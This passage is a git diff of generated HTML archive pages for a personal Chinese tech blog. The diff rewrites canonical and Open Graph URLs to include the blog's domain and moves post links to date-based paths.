     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/08/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/08/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/8 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/08/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/08/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
+        <p class="article-headline-p"><a href="/2017/08/28/如何成为一名合格的CEO.html">如何成为一名合格的CEO</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
+            <a href="/2017/08/28/如何成为一名合格的CEO.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试准备.html">前端面试准备</a></p>
+        <p class="article-headline-p"><a href="/2017/08/27/前端面试准备.html">前端面试准备</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试准备.html" target="_self">阅读全文</a>
+            <a href="/2017/08/27/前端面试准备.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
+        <p class="article-headline-p"><a href="/2017/08/23/commonJS和AMD-CMD.html">commonJS和AMD/CMD</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
+            <a href="/2017/08/23/commonJS和AMD-CMD.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
+        <p class="article-headline-p"><a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html">七种公司永远做不大, 十种老板永远不成功!</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
+            <a href="/2017/08/22/七种公司永远做不大-十种老板永远不成功.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/09/index.html b/public/archives/2017/09/index.html
index 6842017..26d680e 100644
--- a/public/archives/2017/09/index.html
+++ b/public/archives/2017/09/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/09/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/09/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/09/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/09/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/9 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/09/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/09/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端面试题.html">前端面试题</a></p>
+        <p class="article-headline-p"><a href="/2017/09/18/前端面试题.html">前端面试题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端面试题.html" target="_self">阅读全文</a>
+            <a href="/2017/09/18/前端面试题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/simpleCountry.html">simpleCountry</a></p>
+        <p class="article-headline-p"><a href="/2017/09/14/simpleCountry.html">simpleCountry</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/simpleCountry.html" target="_self">阅读全文</a>
+            <a href="/2017/09/14/simpleCountry.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/10/index.html b/public/archives/2017/10/index.html
index 1ebfc90..c3187b7 100644
--- a/public/archives/2017/10/index.html
+++ b/public/archives/2017/10/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/10/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/10/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/10/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/10/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/10 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/10/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/10/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hybird.html" target="_self">阅读全文</a>
+            <a href="/2017/10/11/hybird.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/11/index.html b/public/archives/2017/11/index.html
index 7614452..38cb4b3 100644
--- a/public/archives/2017/11/index.html
+++ b/public/archives/2017/11/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/11/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/11/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/11/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/11/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/11 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/11/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/11/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/12/index.html b/public/archives/2017/12/index.html
index 148eb6f..5fff40d 100644
--- a/public/archives/2017/12/index.html
+++ b/public/archives/2017/12/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/12/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/12/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/12/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/12/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/12 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/12/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/12/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/index.html b/public/archives/2017/index.html
index 55bdb87..cc56575 100644
--- a/public/archives/2017/index.html
+++ b/public/archives/2017/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
+        <p class="article-headline-p"><a href="/2017/12/26/vscode-配置插件推荐.html">vscode 配置插件推荐</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vscode-配置插件推荐.html" target="_self">阅读全文</a>
+            <a href="/2017/12/26/vscode-配置插件推荐.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-express.html">learn express</a></p>
+        <p class="article-headline-p"><a href="/2017/12/20/learn-express.html">learn express</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-express.html" target="_self">阅读全文</a>
+            <a href="/2017/12/20/learn-express.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我个人的coding风格.html">我个人的coding风格</a></p>
+        <p class="article-headline-p"><a href="/2017/11/26/我个人的coding风格.html">我个人的coding风格</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我个人的coding风格.html" target="_self">阅读全文</a>
+            <a href="/2017/11/26/我个人的coding风格.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/常见的兼容性问题.html">常见的兼容性问题</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/常见的兼容性问题.html">常见的兼容性问题</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/常见的兼容性问题.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/常见的兼容性问题.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -803,7 +803,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +813,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -864,7 +864,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/董思阳的忠告.html">董思阳的忠告</a></p>
+        <p class="article-headline-p"><a href="/2017/10/19/董思阳的忠告.html">董思阳的忠告</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -874,7 +874,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/董思阳的忠告.html" target="_self">阅读全文</a>
+            <a href="/2017/10/19/董思阳的忠告.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -925,7 +925,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hybird.html">hybird</a></p>
+        <p class="article-headline-p"><a href="/2017/10/11/hybird.html">hybird</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -935,7 +935,7 @@
         
